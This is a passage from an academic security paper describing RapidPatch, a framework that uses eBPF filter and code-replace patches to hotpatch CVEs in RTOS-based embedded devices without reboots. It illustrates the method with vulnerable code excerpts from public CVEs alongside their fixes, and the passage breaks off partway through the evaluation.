Most existing firmware updating works in IoT [19, 39, 51]
use traditional OTA method to update entire or part of the
firmware, inevitably disrupting the services running on the
embedded devices for an unpredictable period of time.

Recently, hotpatching methods have been successfully de-
veloped on Linux and Android devices [33, 34, 57] to min-
imize the service downtime and reduce the system reboot
times. However, none of these are comfortably applicable
on embedded devices due to the hardware discrepancy. For
instance, KARMA [34] and VULMET [57] require to modify
the code in memory to add trampolines. However, since em-
bedded devices execute code on flash-based ROM, the entire
flash sector needs to be erased before updating, triggering
high patching latency. Also, the trampolines-based hotpatch-
ing approaches may require halting or rebooting the system.

HERA [35] is the first hotpatching system designed for
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real-time embedded devices. It can successfully hotpatch the
firmware without modifying the ROM. It relies on the ARM
Cortex-M3/M4 processors’ unique flash patching hardware
feature [4, 59] to trigger the trampolined patch code loaded in
the RAM. Unfortunately, this hardware feature is no longer
supported in new generation ARM successors such as Cortex-
M7 [24]. To support a wide range of microcontroller units
(MCUs) with various architectures such as Xtensa, AVR, and
RISC-V, we need a general hotpatch triggering method. Also,
HERA requires the device maintainers to merge the source
code patch of vulnerabilities and generate binary patch via
binary diff tool, which has been proved to be the main adop-
tion obstacle of hotpatching technique in Android [33, 34].
Moreover, when the device maintainers have multiple types
of device products, HERA’s patch generating approach incurs
repetitive efforts and cannot timely patch various devices. In
general, current RTOSes lack a generic hotpatching mecha-
nism (like the KSplice [30] in the Linux ecosystem) that can
use a single patch to fix the same vulnerability in various em-
bedded devices with different specifications and architectures.

In this paper, we present RapidPatch, the first hotpatch-
ing framework for the device maintainers to quickly develop
patches for all their heterogeneous embedded devices and
deploy these patches instantly without disrupting device op-
erations. The core innovation of RapidPatch is to provide
a common patch runtime executable on heterogeneous de-
vices with different MCUs by leveraging the eBPF [2] vir-
tual machine such that a single eBPF patch can fix the same
vulnerability for all devices with the same RTOS/library ver-
sion. Towards this end, RapidPatch is powered with multiple
tightly coupled components: (i) a patch generation module
that employs a toolchain to generate device-specific patches
given the eBPF patches and configurations (obtained from
the original C source code patches); (ii) a patch verification
module that uses static analysis to check whether the patches
include malicious behaviors (e.g., manipulating kernel data);
and (iii) multiple patch deployment strategies tailored for var-
ious MCUs to install these patches by redirecting execution
control flow to the patch dispatcher without modifying the
ROMs/firmware.
Contributions. The major contribution of this paper is the
design and implementation of RapidPatch, the first hotpatch-
ing system supporting heterogeneous real-time embedded
devices. Compared with the existing firmware updating ap-
proaches [19,35,39,51], RapidPatch does not require merging
source code patches to generate binary patches. Instead, it em-
ploys an eBPF [2] virtual machine based common patch run-
time to execute bytecode patches so that the patches can run
externally without changing the firmware on various architec-
tures. Thus, a common patch can fix the same vulnerability on
different devices. Further, RapidPatch provides new hotpatch-
ing strategies for heterogeneous devices and thus supports
MCUs that cannot use HERA [35], which mostly leverages
a deprecated processor feature. Finally, to minimize the cost

of manual patch validation, we develop a patch verifier and
extend the eBPF patch runtime to support safe patches [50]
that can be deployed without extra tests on individual devices.
We prototype RapidPatch [1] with 6468 lines of C and 1733
lines of Python and use reported vulnerabilities of popular
RTOS/Library to evaluate the prototype on different devices.
The experiment results demonstrate the applicability, general-
ity, and performance of RapidPatch. Particularly, the average
patching delay introduced by RapidPatch (JIT mode) is less
than 8 µs, which has negligible impacts on real-time tasks,
and the average incurred overhead is less than 0.6%.

2 Background

2.1 Embedded Devices
Typical embedded devices [20] are monolithic systems based
on low-power MCUs that are provided by various IC man-
ufacturers and use different CPU architectures [11] such as
ARM Cortex-M series, MIPS, Atmel AVR, and Xtensa. Em-
bedded devices may contain a single MCU that integrates
all the functions, e.g., nRF52 series [18]. Alternatively, they
may use multiple MCUs (e.g., STM32 MCU and ESP32)
interacting with each other via GPIO interfaces.

Compared with hardware, vendors typically have fewer
choices on system software and have to use either mature
open source embedded OSes or commercial close-sourced
embedded OS, e.g., Samsung’s TizenRT that is customized
from NuttX [7]. Amazon’s FreeRTOS and Linux Foundation’s
Zephyr are two popular embedded OSes that have supported
hundreds of MCUs [11] since 2020. As a result, firmware
with the same code base has been used in a large number
of embedded devices. Since embedded devices are often de-
ployed in sectors such as industry control systems and medical
treatment, it is critical for these real-time devices to respond
and finish tasks in strict time [37]. To facilitate the applica-
tions, RTOSes contain a number of system libraries to support
extensive modules such as networking and TLS.

2.2 Embedded Device Hotpatching
Existing hotpatching solutions on Linux/Android cannot work
on embedded devices due to hardware discrepancy (see Sec-
tion 3.2). Fortunately, many MCUs provide build-in hardware
features that can be used for hotpatching.
Flash Patching. ARM Cortex-m3/m4 processors provide the
Flash Patch and Breakpoint Unit (FPB) [4] for patching the
code in ROM at runtime. When the FPB mode is enabled,
the hardware breakpoints can be used to mark instructions
and redirect the instructions at the hardware breakpoints to
the mapped instructions, which are defined in a remap table.
Then, a branch instruction such as bl trampoline_func in the
remap table can intercept the buggy function and jump to run
the new function [35].
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KProbe. The ARM and RISC-V MCUs support customer
handlers defined at arbitrary addresses for debugging events,
which can be used to implement the KProbe mechanism [12]
in Linux. On ARM Cortex-M3 and beyond, we can define
customer exception handlers for debugging events in the De-
bug Monitor mode [58] and then port the KProbe features
to different embedded devices. Afterwards, KProbe can be
leveraged to implement hotpatching solutions by redirecting
the control flow of the buggy code to a trampoline function.

2.3 Extended Berkeley Packet Filter (eBPF)
The extended Berkeley Packet Filter (eBPF) is used as a Linux
in-kernel virtual machine that can execute untrusted eBPF
code received from user space. The original Linux eBPF sup-
ports various types of eBPF programs that are attached to pre-
defined places to provide capabilities such as TCP/IP packet
filter, tracing, and sandbox policy configuration. The eBPF
code is powerful since it can be written in C and then compiled
into eBPF bytecode with the bpf LLVM backend. To prevent
malicious code, before running the eBPF code, the kernel uses
a static verifier to vet the program and ensure that the program
does not have memory accessing errors or unbounded loops.
To enable cross-platform patches, we choose to implement
a bytecode-based patching approach. Since the eBPF VM is
more lightweight than other embedded VM-based languages
including Lua, Javascript, and Python, we choose to port it to
the resource constrained devices. Thus, we can benefit from
eBPF’s powerful features, such as supporting C grammar and
memory manipulation via pointers, having a simple yet highly
efficient instruction set, and being easily verifiable in terms
of execution security. Furthermore, we customize the eBPF
verifier and runtime to support safe patches.

3 Problem Statement

3.1 Delayed RTOS Update
For embedded device vendors who customize their firmware
based on official RTOS versions (e.g., Samsung TizenRT
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Figure 2: The MbedTLS’s patch delay in different RTOSes.

and Xiaomi Vela are based on Apache NuttX RTOS [7]),
they need to integrate a number of third-party libraries (e.g.,
MbedTLS [15], the de facto standard of embedded TLS li-
brary) to extend device functionalities. We illustrate the patch
propagation process on embedded systems in Figure 1 to ex-
plain why upstream security patches may not be propagated
to the end users in time. First, it takes time for the down-
stream vendors (e.g., Samsung) to update their firmware by
merging the new commits from the upstream repositories
(e.g., Apache NuttX) and verify the correctness of the new
firmware. Second, the end users usually lack the motivation
and expertise to upgrade their own firmware [56]. Therefore,
similar to the Android systems [62], this open model often
introduces a significant patching delay on embedded devices.
Quantitatively, we report the security patch delay using mul-
tiple CVEs on the MBedTLS Library [15]. Figure 2 shows
that it usually takes two active RTOSes, namely, Zephyr and
FreeRTOS, 3 to 6 months to update their systems, and the less
active TizenRT even takes more than one year on average to
patch vulnerabilities.

3.2 Patching Challenges

We identify two major challenges to patch embedded devices
in time. The first one is to generate patches correctly and
timely for various embedded devices. For specific hardware
devices, the vendors need to first merge the changes of source
code and then build new firmware using each device’s com-
pilation configuration. After that, it is critical to verify the
effectiveness of the patch, as well as the normal functionality
of the post-patching device. Thus, patch generation is a metic-
ulous process that is time consuming and requires specialized
expertise (e.g., familiar with multiple firmware codebase).

USENIX Association 31st USENIX Security Symposium    2227



The second challenge is to deploy patches without dis-
rupting device operations. Existing hotpatching solutions on
Android and Windows/Linux systems (e.g., relocating linked
libraries [47], runtime function instrumentation [53, 60], and
seamless update with A/B scheme [3, 43]) cannot be directly
applied in RTOS for the following reasons. To support relocat-
ing linked libraries in RTOS, Simon et al. [47] separate user
tasks of FreeRTOS to multiple Executable and Linkable For-
mat (ELF) file. However, it can only update user level tasks but
not the RTOS kernel. The runtime function instrumentation
approach needs to modify instructions on-the-fly; however,
since embedded devices use ROM or Nor-Flash memory to
store the firmware code, it is time consuming to rewrite the
flash memory and thus is impossible to update the firmware
without halting the system. The A/B scheme, widely adopted
by Linux [43], Android, and Espressif ESP32 IoT systems [9],
maintain two instances and migrates from the old system A to
the new system B. Thus, it naturally requires two storage slots,
whereas most embedded devices do not have enough memory
storage for two systems. Also, it still needs to reboot the sys-
tem after updating the kernel. HERA [35] uses the Flash Patch
and Breakpoint Unit (FPB) [59] on Cortex-M3/M4 MCUs
to dynamically patch embedded devices; however, it cannot
work on other types of MCUs that do not have the Flash Patch
feature. Moreover, it requires fixing bugs in the source code
to compile a new firmware, and the device maintainers need
to manually generate and verify binary patches for different
types of embedded devices before deploying these patches,
which is labor-intensive.

3.3 A Motivating Example

We propose a generic patching framework to address above
challenges. The core idea is to provide a common hotpatching
runtime for heterogeneous embedded devices to execute patch
code written in eBPF bytecode (referred to as eBPF patch
hereafter) running in eBPF virtual machine. Since the eBPF
patches can be written and deployed separately, they do not
require any modification in the firmware.

We use the CVE-2020-10063 from Zephyr as an example
to showcase our high-level design. The vulnerable functions
and the corresponding eBPF patch code are shown in Figure 3.
An adversary can send a CoAP packet with illegal options
to trigger the integer overflow vulnerability (the line in red
background) in function parse_option, leading to endless
loop. The original patch adds extra checks to prevent the
overflow (the green lines). In our eBPF patch solution, before
executing the vulnerable function, it redirects the control flow
to the eBPF VM, passes the function’s arguments to the eBPF
VM via stack, and then runs the eBPF code to check these
arguments. When detecting malicious inputs, the eBPF VM
directly returns the EINVAL error code to the function caller.
Otherwise, it restores the origin control flow.

int coap_packet_parse(coap_packet *cpkt, 
    u8_t *data, int max_len, /*...*/) { 
  // ...  
  while (1) { 
    // attackers can make ret always > 0 
    ret = parse_option(/*...*/); 
    if (ret < 0) { 
      return ret; 
    } else if (ret == 0) { 
      break;} 
  } 
} 
static int parse_option(/*...*/) { 
  // ... read len from data 
  r = decode_delta(/**/, &len, /**/); 
  // ... 
  *pos += len; 
+ if (__builtin_add_overflow(*pos, len   
+     /*...*/)) {                        
+   return -EINVAL;}                     
  // pos overflow here and r always > 0 
  r = max_len - *pos;                    
  return r; 
}

u64 filter(stack_frame *frame) { 
  u32 data = frame->r0; 
  u32 off = frame->r1; 
  u32 len = *(u16 *) (data + off); 
  u32 max_len = frame->r3; 
  u32 op = OP_PASS; 
  u32 ret_code = 0; 
  if (len > max_len ||  
      len + max_len >= 0xffff) { 
    // intercept 
    op = OP_DROP; 
    ret_code = -EINVAL; 
  } 
  return set_return(op, ret_code); 
}

 eBPF filter for the vulnerable
function (parse_option)

Figure 3: The eBPF filter patch for CVE-2020-10063.

3.4 Threat Model and Assumptions

We assume that the attackers can only attack the embedded de-
vices remotely and cannot access the devices physically. Since
the firmware of embedded devices is typically customized by
the device vendors and does not support third-party user apps,
attackers cannot inject malicious tasks (e.g., via user apps)
to execute third-party code. We assume that the device main-
tainers can obtain patches from trusted sources. Similar to
HERA [35], we assume the patches are signed and encrypted
during transfer so that the maintainers can safely verify their
integrity and authenticity. Since only authorized users (such
as the device maintainers) are able to apply RapidPatch to
perform hotpatching, attackers can only exploit the patch sys-
tem via installing malicious patches after compromising the
authorized users’ credentials.

Since the patches from the RTOS developers may be buggy
due to design flaws and implementation bugs, we propose to
use filter patches that aim to prevent dangerous instructions
from harming the systems, e.g., system crashes or memory
corruption. However, similar to the existing approaches [33,
34, 50], RapidPatch itself cannot ensure the patches should
work properly, which, in general, is decided by the patch
developers.

4 System Design

RapidPatch contains a toolchain for the patch developing
phase to generate and verify the patches and a hotpatch run-
time for the patch execution phase that can be embedded into
existing RTOS or bare-metal firmware to run patches on het-
erogeneous embedded devices. We introduce the design of
these modules by following the workflow of RapidPatch.
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4.1 Overview of RapidPatch

The overall workflow of RapidPatch is shown in Figure 4.
When a vulnerability is discovered, the RTOS developers first
develop an original patch written in C to fix the vulnerability
in the source code. Next, based on the C source code patch,
the RTOS developers write an eBPF source code patch and a
configuration file describing how to apply the eBPF patch.

Upon being notified with newly available eBPF source
code patches, the device maintainers first check if the vul-
nerable RTOS is used by their devices and download the
corresponding patches if necessary. Since the device main-
tainers may have different models of embedded devices, our
toolchain provides a tool named patch generator to help them
automatically generate corresponding patches for different
devices. The patch generator compiles the eBPF source code
into eBPF bytecode and analyzes the firmware symbol files
to decide the correct patch installation address and obtain the
global addresses (e.g., global variables, functions, or basic
block addresses) that are required by the eBPF code. The
patch generator has two outputs: the eBPF bytecode patch
and the patch deployment configuration file for installing the
patch on a specific firmware.

Based on the bug fixing strategy, we support two types of
eBPF patch: the filter patch that resolves the vulnerability
by filtering out malicious inputs and the code replace patch
that replaces the vulnerable code with secure patched code.
Given the eBPF bytecode patches, the device maintainers
can use a tool named patch verifier to verify the safety of
the patch by identifying harmful behaviors such as illegal
access of kernel memory or excessive loop iterations. Since
the filter patch only performs certain security checks without
introducing new execution paths, it is considered as a form of
safe patch [50]. The code replace patch, however, may require
further test to verify its effectiveness and security.

Finally, the device maintainers install the patches to the
target device via network or other external interfaces such as
USB. The patch data transfer is executed in an independent
thread and the patch is installed to the patch dispatcher using
read-copy-update (RCU) operations. When the vulnerable
code is executed, the patch will be triggered and executed by
RapidPatch’s hotpatching runtime. All the installation steps
do not disrupt the interrupt requests (IRQ) and can be executed
with negligible overhead.

In the following, we describe the design details of Rapid-
Patch, including patch development, patch generation & veri-
fication, patch deployment, and patch execution.

4.2 Patch Development

Based on the original C source code patch obtained from a
trusted source, it is straightforward for RTOS developers to
write the eBPF source code patches. The eBPF filter patch can
fix a large portion of vulnerabilities by validating the inputs.
For the vulnerabilities that cannot be fixed by checking the
inputs, code replace patch can be developed to replace the
vulnerable code.
Filter Patch. It works by filtering out malicious or illegal
inputs at the entrance of the vulnerable code segment. We
use CVE-2020-17443 in AMNESIA33 [6] as an example
to illustrate its development. The original patch in C source
code is shown in Figure 5(a), where the green lines are the
newly added boundary checking code. The root cause of the
vulnerability is that PicoTCP library [23] does not check the
payload length when processing ICMPv6 echo requests, so
function memcpy may suffer from underflow attacks when it
is provided an invalid packet with a small packet length (i.e.,
less than 8).

To fix this vulnerability, a filter patch can be triggered at
the entrance of function pico_icmp6_send_echoreply to
filter out illegal packet length values, as shown in Figure 5(b).
The function arguments are pushed to the stack by the Rapid-
Patch runtime, so the eBPF code can obtain the packet length
argument via pointer operations and then validate the length.
The eBPF VM returns different op codes based on the vali-
dation results, including OP_PASS (i.e., restore and continue
to execute the function), OP_REDIRECT (i.e., return to a basic
block of the vulnerable function), and OP_DROP (i.e., skip the
vulnerable function). Finally, the RapidPatch runtime handles
the results and redirects the control flow by modifying the
return address (see Section 4.4).
Code Replace Patch. For the logical bugs that can only be
fixed via other operations, e.g., calling new functions, chang-
ing variable values, changing data types, or redesigning the
entire functions [57], we fix them by replacing the vulnerable
functions with the eBPF patch code. A foreign function inter-
face (FFI) is enabled to call and execute native C functions
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1 int pico_icmp6_send_echoreply(struct pico_frame *echo) { 
2  // ... omit 
3 + if (echo->transport_len < PICO_ICMP6HDR_ECHO_REQUEST_SIZE) { 
4 +    return -1; // invalid packet                              
5 + }                                                            
6  /*bug: When the echo->transport_len is less than the 
7    PICO_ICMP6HDR_ECHO_REQUEST_SIZE, the memcpy len will    
8    arithmetic underflow here */ 
9  memcpy(reply->payload, echo->payload, (uint32_t) 
     (echo->transport_len - PICO_ICMP6HDR_ECHO_REQUEST_SIZE)); 
10  // ... omit 
11 }

#include "ebpf_helper.h" 
const int PICO_ICMP6HDR_ECHO_REQUEST_SIZE = 8; 
 
uint64_t filter(stack_frame *frame) { 
    uint8_t *echo = (uint8_t *)(frame->r0); 
    uint16_t *transport_len_ptr = (uint16_t *)(echo + 38); 
    uint16_t transport_len = (uint16_t)(*transport_len_ptr); 
 
    if (transport_len >= PICO_ICMP6HDR_ECHO_REQUEST_SIZE) { 
        return set_return(OP_PASS, 0); 
    } 
    return set_return(OP_DROP, -1); 
}

(a). The C Souce Code Patch

(b). The eBPF Filter Patch

Figure 5: Filter patch for CVE-2020-17443

in the eBPF code via eBPF helper functions. The memory
and current stack frame can also be accessed inside the eBPF
VM. The RapidPatch runtime loads and executes the code
replace patch at the location of the vulnerable code and redi-
rects the control flow to the exit point (e.g., the function’s
return address) of the vulnerable code.

As an example, Figure 6(a) shows the C source code patch
for CVE-2020-10023, where the buffer overflow vulnerability
can be raised by wrongly passing shift (instead of j) in the
third argument of function memmove in the shell subsystem.

To fix this bug, Figure 6(b) shows the code replace patch
that revises the original function shell_spaces_trim. The
calling of C function memmove is handled by the C_CALL eBPF
FFI API. Similar to the filter patch, code replace patch uses
OP_DROP or OP_REDIRECT as the return code to indicate if the
patch loader should directly return to caller of the vulnera-
ble function or return to the error handle procedure. We can
further extend the sanity test on the vulnerable function by ac-
quiring more status of function calls. For instance, when patch-
ing the Key Negotiation of Bluetooth (KNOB) vulnerability
(CVE-2019-9506) [28] by banning the Bluetooth connections
with insufficient encryption key lengths, we can obtain the key
length via the Bluetooth’s native Host-Controller Interface
(HCI) API. Since both memory writing operations (out of the
eBPF stack) and the native C function calls are allowed in
code replace patch, it may introduce new bugs that should be
well identified by the patch verifier (see Section 4.3).
Patch Configuration. Both filter patch code and code replace
patch code are generated together with a configuration file
that specifies critical information about patch compilation and
patch deployment. We use YAML to write patch configuration
files. An example configuration is shown in Figure 14 in
Appendix. The first part provides the interception point of

1 void shell_spaces_trim(char *str){ 
2  // ... 
3  for (u16_t j = i + 1; j < len; j++) { 
    // ... 
- 4   memmove(&str[i + 1],                 
- 5       &str[j], len - shift + 1);       
+ 6  memmove(&str[i + 1],                  
+ 7       &str[j], len - j + 1);           
    // ... 
  } 
  // ... 
}

void ebpf_spaces_trim(stack_frame
*frame ) { 
  // ... 
  for (u16 j = i + 1; j < len;   
    j++) { 
    // ... 
    C_CALL(FUNC_memmove, 
        &str[i + 1], &str[j], 
        len - j + 1); 
    // ... 
  } 
// ... 
}

（b). The eBPF Code Replace Patch(a). The C Source Code Patch

Figure 6: Code replace patch for CVE-2020-10023

vulnerable RTOS, either the entrance of a vulnerable function
or the entrance of a basic block, to trigger the patch code. The
second and third parts define the trigger type and the run type
of patch code in RapidPatch runtime, respectively. The last
part gives a map of the native C functions and required global
variables.

4.3 Patch Generation & Verification
Now we describe the patch compilation and patch verifica-
tion process, which produces device-specific eBPF bytecode
patches deployable on real devices.
Patch Generator. It takes three inputs to generate patches:
the eBPF patch code, the path configuration file, and the
symbol table of the target vulnerable firmware. At the be-
ginning of compiling process, all macros in the eBPF patch
code referring to function names and global variables are
replaced with concrete firmware addresses. This is done by
traversing symbols declared in variable_map of patch con-
figuration file and searching the symbol table of the target
firmware. Then, we use the Clang bpf tool to generate device-
specific eBPF bytecode patches for the target firmware. Fi-
nally, we obtain the patch installation address by parsing the
install_point tag defined in patch configuration file and
searching the symbol table to find out the corresponding sym-
bol’s address. These steps allow us to generate device-specific
eBPF patches.
Patch Verifier. The compiled eBPF bytecode patches are
checked by the patch verifier to verify whether the patch is a
filter patch that can be safely deployed. Certain patch code
behaviors, such as unbounded loops, modifying the memory
out of eBPF stack, and calling C functions, are considered
as unsafe. patch verifier can automatically identify these be-
haviors by analyzing the eBPF instructions of eBPF bytecode
patch. It can also report the code replace patches that may
change the code logic and therefore require additional manual
testing while the filter patches can waive such tests.

Note that Linux’s original eBPF verifier cannot be directly
applied here, since it performs very strict checks on memory
accessing scope and loops. Even the filter patch may have
to break these rules. For instance, reading arbitrary memory
space to access global variables or local variables in vulnera-
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Figure 7: RapidPatch runtime system.

ble function stack is necessary in eBPF patch code in order
to make proper decisions (such as dropping an incoming re-
quest). Further, applying unbounded loops has been a useful
technique in developing eBPF patches. For example, when
writing an eBPF patch for CVE-2020-10062 of Zephyr, we
use an unbounded loop to obtain the length of input MQTT
packet. Different from the Linux eBPF verifier that performs
verification in runtime, we choose to verify the eBPF patch
code offline, considering that the computation power of em-
bedded devices are limited. Additionally, the results of patch
verifier checks can alert the patch developer. If the patch is
identified as safe, it can be deployed on the device directly
without further tests (which is guarded by our software-based
fault isolation (SFI) approaches, see Section 4.4). However,
when the patch is reported as unsafe, the device maintainers
have to perform further manual tests.

4.4 Patch Deployment and Execution

The device maintainers can deploy the patches on the embed-
ded devices using the same encrypted transfer tunnels as the
traditional OTA updates. Then the patches are installed on the
vulnerable devices and executed by the RapidPatch runtime
as shown in Figure 7.
Patch Installer. It first performs JIT compilation and then
saves the eBPF patch bytecode, JIT native code, and the patch
deployment configuration to a patch list. The installer adopts
a lock-free updating approach, which performs an atomic
switch to a new patch list that contains new patches, similar
to Linux RCU (Read-Copy Update) that ensures patch list is
continuously accessible by other threads such as patch loader.
Patch Trigger. We propose three methods to trigger patches:
(i) the fixed patch trigger inserted manually by programmers
or automatically by the compile-time instrumentation, (ii) the
MCU’s build-in patch features (e.g., FPB Flash Patch), and
(iii) KProbe implemented via hardware debug primitives. As

Patch Point Support Device #Patch

Fixed
Patch Points

Function
Begin All 32+

FPB Basic Block Only Cortex-M3/M4 6

KProbe Basic Block Cortex-M3∼M55(all), RISC-V 8

Table 1: Comparison of different patch triggering methods.

shown in Table 1, these three patch triggering methods have
different usage scopes. The KProbe and FPB can be inserted
or removed at arbitrary addresses during system runtime, but
the fixed patch triggers are added when programming or com-
piling firmware and can only be placed at fixed positions of a
function, e.g., the function entrance. However, the FPB and
KProbe are triggered by the hardware breakpoints and there-
fore the number of active patches is limited by the hardware
breakpoint number (e.g., 6 to 8 in ARM), while the number
of fixed patch trigger is limited by storage space of devices.

Similar to the eBPF XDP [8] hooks, fixed patch triggers are
placed in critical paths of ingress packets and can be applied
to validate inputs. We observe that most of the vulnerabilities
in FreeRTOS and Ripple 20 [21] are located in the payload
processing functions of different layers in the network stack.
To mitigate such vulnerabilities in the network stack, we can
intercept original flawed packet processing flow by adding
fixed patch triggers at the entrance of packet ingress functions
and run eBPF patch code to validate the payload. Note that
KProbe can only work on devices with hardware support
such as ARM, RISC-V; FPB is only supported by the Cortex-
M3/M4 [24]; and the fixed patch points are supported by all
devices. We further discuss it in Section 6.2.
Patch Loader. When a patch is triggered, the patch loader
first saves the context of current function and dispatches the
patch based on the patch index (e.g., lr value) to locate the
appropriate patch from the patch list. For instance, the context
switch on ARMv7-M is shown in Figure 8 where the registers
are saved in stack and passed to the eBPF VM. Thus the eBPF
patch code can access the function arguments from the stack
during execution. Finally, after the patch finishes and exits,
patch loader handles the results and redirects the control flow
based on the return code of the eBPF VM by modifying the
lr (return address) register.
Patch Execution and Runtime Protection. The eBPF patch
code is executed in a new eBPF VM instance using either
interpreter mode or JIT mode. Similar to KARMA [34], we
support sharing state among different eBPF VMs to enable
stateful patches that can share values among different patches
via an eBPF map. We use software-based fault isolation (SFI)
to ensure the security of patch execution. We implement the
SFI in both the eBPF interpreter and the eBPF JIT compiler by
adding extra checks to risk-sensitive instructions, including
the storage instructions and the jump instructions. We also
bound the number of the loop iterations in filter patch by
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PUSH {r0-r3, r12, lr} 
TST lr, #4 
ITE EQ 
MRSEQ r0, MSP 
MRSNE r0, PSP 
BL _patch_dispatch

void _patch_dispatch( 
   stack_context *ctx);

POP {r0-r3, r12, lr} 
BX lr

Save context and switch to the
patch dispatch function

Restore context

Modify LR

Figure 8: Context switch for patch dispatching

uint64_t str_hash(char *arr) { 
    int i = 0; 
    uint64_t sum = 0; 
    while (arr[i]) { 
        sum += arr[i]; 
        i++; 
        /* Checking iterations 
        if (cycles > 0x20)  
           break; */ 
    } 
    return sum; 
}

mov r0, 0x0 
ldxb r2, [r1] 
jeq r2, 0x0, +8  

lsh r2, 0x38 
arsh r2, 0x38 
add r0, r2 
ldxb r2, [r1] 
add r1, 0x1 
jne r2, 0x0, -6  

exit

mov r0, 0x0 
add r1, 0x1

add r9, 0x1 
jsgt r9, 0x20, +1  
Instrumentation for 
Checking iterations

eBPF Code eBPF Instructions

Figure 9: An example of limiting the loop iterations.

adding extra checks to the jump instructions. The jumps with
negative offset are backward jumps and indicate that there are
loops. By using a single variable to count all the backward
jumps including both inner loops and outer loops, we can
obtain the iterations of all loops. As shown in Figure 9, in
JIT mode, we add extra instructions via instrumenting JIT
compilation to record the iteration cycles and check if it is
larger than the threshold (i.e., 0x20, 32) before jumping to
negative offsets. In this way, we can limit total number of loop
iterations and bound the total execution time of filter patches.

Note that, all the steps, from patch installation to patch
triggering and execution, do not disrupt the interrupt requests
(IRQ) and can run without halting other tasks. Thus, Rapid-
Patch realizes hotpatching with limited latency, satisfying the
real-time requirements on embedded devices.

5 System Implementation

We prototype the RapidPatch toolchain to generate and verify
patches, and develop RapidPatch runtime as a module in pop-
ular RTOSes including Zephyr [26], Amazon’s FreeRTOS [5],
LiteOS [14], and NuttX [7] to install and execute patches. To
demonstrate the generality of RapidPatch, we port RapidPatch
runtime to devices with different specifications and architec-
tures, as listed in Table 4. To reproduce CVEs in real devices,
we also port specific modules associated with the vulnerable

code, such as USB and Ethernet modules. The total devel-
opmental effort includes 6468 lines of C code to implement
the RapidPatch runtime (including the inline assembly code),
1733 lines of Python to implement the RapidPatch toolchain,
as well as roughly 1900 lines of C and python to implement
several test applications and evaluation tools.
RapidPatch toolchain. The RapidPatch toolchain includes
patch generator that processes and compiles the eBPF patch
with the Clang bpf tool and patch verifier that utilizes static
analysis to verify the safety of the patches. Specifically, before
compilation, the patch generator scans the eBPF source code,
which may use macros to represent variables or functions,
and the patch configuration file, which defines the macros
and describes the detailed variable/function names or state-
ment lines in the corresponding C code. After that, the patch
generator locates the variable register or addresses, function
addresses, or basic block addresses by analyzing the symbol
files (generated by objdump) and replaces the macros in the
eBPF source code with their actual addresses or registers. Fi-
nally, the patch generator finds the patch installation address
by locating the corresponding function name or the basic
block entrance based on the symbol files.

Before installing the patch, the patch verifier needs to check
if the patch is safe to deploy by analyzing the instructions
used by that patch. Specifically, we only allow filter patches
to write limited addresses inside the eBPF stack. Further,
to constrain loops in filter patches, we can set a threshold
for the number of iterations based on the MCUs’ frequency
and the latency requirements of devices (for instance, setting
a larger threshold for the low priority tasks that are delay-
tolerant). If the patch contains risk-sensitive behaviors such
as memory writing and function call, patch verifier alerts the
device maintainers that it is not a safe patch ready for instant
deployment.
RapidPatch runtime. The runtime contains the hotpatching
module and the eBPF module. We port the Linux eBPF VM
and make it executable independently on various platforms
using only a small part of libc that is also supported by the
Newlib [17] on embedded devices. We also implement sev-
eral types of eBPF maps for different scenarios. Note that,
different from the original Linux eBPF map, we do not need
to copy map data from user space to kernel space as most
embedded systems do not have MMU and the data can be
directly shared. In addition, we implement assemble, disas-
semble and compile tools for eBPF code using Python and
Clang, which allow users to test the eBPF programs to ensure
the correctness of the code.

We implement dynamic patch triggers leveraging FPB and
KProbe, which use the hardware breakpoint features in ARM
Cortex-m series. Similar to InstaGuard [33], we use hard-
ware breakpoints to trigger the debug monitor exception to
load patches. The debug event will be triggered when the
instruction of the program counter (PC) hits the hardware
breakpoint and enters the debug monitor exception handler.

2232    31st USENIX Security Symposium USENIX Association



All CVE High Risk CVE

#CVE #Fix #Filter #CVE #Fix #Filter

Zephyr 29 24 17 18 16 13
FreeRTOS 13 13 11 6 6 4
Libraries 20 19 17 18 17 15

Total 62 56 35 42 37 32
Precent 100% 90.3% 56.5% 100% 88.1% 76.2%

Table 2: Patching various CVEs using RapidPatch.

Since PC will not move to the next instruction in the debug
mode, we need to either modify the instruction address in the
PC register or disable the hardware breakpoint temporarily to
continue the execution of the program. In addition, we should
enable the breakpoints again after exiting the debug monitor
handler to make sure our patch system can still be triggered at
this patch point in the following function calls. To solve this
issue, we return and skip the breakpoint by modifying the PC
for OP_DROP and OP_REDIRECT. For OP_PASS, the program
needs to be continued in the buggy function from the break-
point instruction. Thus, we temporarily reset the hardware
breakpoints to exit the FPB debug mode.

Our eBPF module supports both interpreter and JIT mode.
The original Linux eBPF JIT compiler is designed for instruc-
tion sets such as ARM-32, and does not support Cortex-m’s
ARM Thumb instruction set. We implement the JIT compiler
for Cortex-m3+ MCUs that use the ARM Thumb-2 instruc-
tion set. As the Thumb-2 instruction set supports only 16-bit
and 32-bit instructions, we map two 32-bit registers to one
64-bit eBPF register and translate most eBPF instructions into
at least two Thumb-2 instructions. Meanwhile, using more
16-bit Thumb-2 instructions reduce storage consumption. We
implement SFI in both eBPF interpreter and JIT compilers.
In the interpreter mode, we can count and limit the total num-
ber of instructions and loop iterations. In the JIT mode, we
stop compilation if the filter patch contains memory-writing
instructions and add extra instructions to check and limit the
loop iterations.

6 Performance Evaluation

We first demonstrate the generality and flexibility of Rapid-
Patch and the adaptability of hotpatching using five devices.
After that, we perform system evaluations to measure the
delay of hotpatching and the overhead it incurs.

6.1 Applicability of RapidPatch

We collect CVEs of major embedded systems and develop
RapidPatch patches for them to measure how many vulnera-
bilities can be fixed by RapidPatch.
CVE Dataset. We build a CVE dataset (shown in Table 7) by
collecting all public CVEs with detailed vulnerability descrip-

tions and corresponding vulnerable code from the open-access
CVE database [16]. We cannot find any public CVEs for
NuttX [7] and LiteOS [14], and some CVEs are excluded due
to the lack of source code, such as the Treck TCP/IP stack vul-
nerabilities in RIPPLE20 [21] and several CVEs in FreeRTOS
and MbedTLS. As listed in Table 7, we analyze the vulnerable
code of 62 CVEs of RTOSes including FreeRTOS [5], Zephyr
OS [26], and Libraries (such as MbedTLS [15], WolfSSL [25],
and the AMNESIA33 [6] vulnerabilities).

We confirm if the vulnerabilities in our CVE dataset can
be fixed by RapidPatch. The statistics indicate that more than
90% of CVEs can be fixed by either filter patch or code replace
patch. Specifically, 42 CVEs are marked as High (risk score
7.0-9.0) or Critical (risk score 9.0-10.0) based on the severity
ranking by NVD [16]. Among all these 42 high or critical risk
CVEs, 37 (around 88%) can be fixed, and 32 (76%) can be
